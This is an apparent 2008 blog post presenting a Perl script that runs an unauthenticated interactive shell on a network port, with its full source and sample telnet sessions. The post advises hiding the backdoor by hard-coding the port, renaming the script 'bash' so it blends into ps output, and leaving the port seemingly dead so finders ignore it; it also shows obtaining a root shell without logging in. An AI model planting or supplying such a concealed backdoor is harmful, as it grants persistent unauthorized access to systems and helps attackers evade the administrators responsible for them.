Friday, April 11, 2008

Perl Script To Run A Linux Or Unix Shell On A Network Port

Hey again,

Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)

You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.

The script can be run easily from the command line, like this:

host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user

You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:

host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl


If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:

host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash


In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit
<--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)


You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)

The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


And no output. Just do the normal Telnet quit:

^]
telnet> q
Connection closed.


And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.

Enjoy, stay safe and have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}

use Socket;
use POSIX;

$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";

if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');

$| = 1;

socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

$lsock = listen(SOCKET, 5) || die "listen $!\n";

while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;


, Mike